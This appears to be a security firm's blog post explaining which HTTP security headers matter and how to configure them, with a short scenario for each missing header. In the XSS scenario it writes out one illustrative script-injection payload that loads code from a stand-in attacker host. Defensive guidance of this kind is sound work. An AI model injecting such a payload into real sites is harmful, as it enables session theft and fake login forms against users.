2026-11-27 · 3 min read
Security Headers: Making the Browser Your Ally
A few lines of configuration make entire classes of attacks harder. Which HTTP headers really matter, how to set them correctly and which ones you can skip.
Security headers are HTTP response headers your web server uses to give the browser security rules: which scripts may run? May the page appear inside someone else's frame? Must the connection be encrypted? They do not replace a secure application, but they make many attacks considerably harder. In our penetration tests, missing or misconfigured headers are among the most common findings, even though they can usually be fixed in a few minutes.
The most important headers
Content-Security-Policy (CSP): Defines where scripts, styles, images and other resources may be loaded from. A good CSP is the second line of defense against cross-site scripting (XSS). The first remains an application that encodes output correctly.
Strict-Transport-Security (HSTS): Tells the browser to only reach your domain over HTTPS, even if someone types http:// or clicks an old link.
X-Content-Type-Options: nosniff: Stops the browser from guessing the file type itself and, for example, executing an uploaded text file as a script.
Clickjacking protection: The CSP directive frame-ancestors controls who may embed your page in a frame. X-Frame-Options is the older way and is only worth adding as a fallback for very old browsers.
Referrer-Policy: Controls how much of the current URL is sent along when someone clicks an external link.
Permissions-Policy: Turns off browser features such as camera, microphone or location that your site does not need.
How to set them correctly
A solid starting configuration looks like this. The server generates a new nonce value for every response, and the same nonce goes into your own <script> tags as an attribute:
Content-Security-Policy: script-src 'nonce-{random value}' 'strict-dynamic'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
In the Permissions-Policy, disable every feature your site does not need. You can add preload to HSTS later (see below).
Practical tips:
- Test the CSP first: Deploy the policy as
Content-Security-Policy-Report-Onlyfirst. The browser reports violations but blocks nothing yet. Only switch to enforcing once no legitimate violations show up anymore. - No
'unsafe-inline'for scripts: It removes most of the CSP's protection against XSS. An allowlist with many third-party domains does not help much either, because such lists can often be bypassed. - HSTS with care: A long
max-agecannot easily be taken back. Check beforehand that all subdomains support HTTPS. Only an entry in the HSTS preload list protects the very first visit too. - Skip
X-XSS-Protection: Modern browsers ignore the header, and in older ones it could even open new vulnerabilities. - Do not forget cookies: Session cookies should always have
Secure,HttpOnlyandSameSiteset.HttpOnlyprevents an injected script from reading the cookie.
What can happen without these headers
Missing CSP: An attacker finds a flaw in the comment function and injects <script src="https://evil.example/x.js"></script>. Without a CSP, the browser loads and runs the script. It might show a fake login form or read data, which without HttpOnly can include the session.
Missing clickjacking protection: A crafted page loads your customer portal invisibly in a frame and places a harmless-looking button exactly over "Approve payment". The logged-in user clicks "Claim your prize" and actually triggers the action in your portal.
Missing HSTS: On public Wi-Fi, someone opens your site via http://. An attacker on the same network intercepts the unencrypted request and keeps the connection on HTTP ("SSL stripping"). Credentials then travel through the network in plain text. With HSTS, the browser would have used HTTPS on its own.
Check in one minute
Free tools such as the Mozilla HTTP Observatory or securityheaders.com show whether your headers are in place. For the CSP, Google's CSP Evaluator is also worth a look.
Conclusion
Security headers are not a cure-all, but they are one of the cheapest ways to make your website more robust. They take little effort, and your visitors' browsers enforce them for you. If you want to know how well your web application is protected beyond the headers, a penetration test is the next step.
Ready to know your attack surface?
Tell us briefly about your project. We'll come back with a concrete proposal.
Request a first call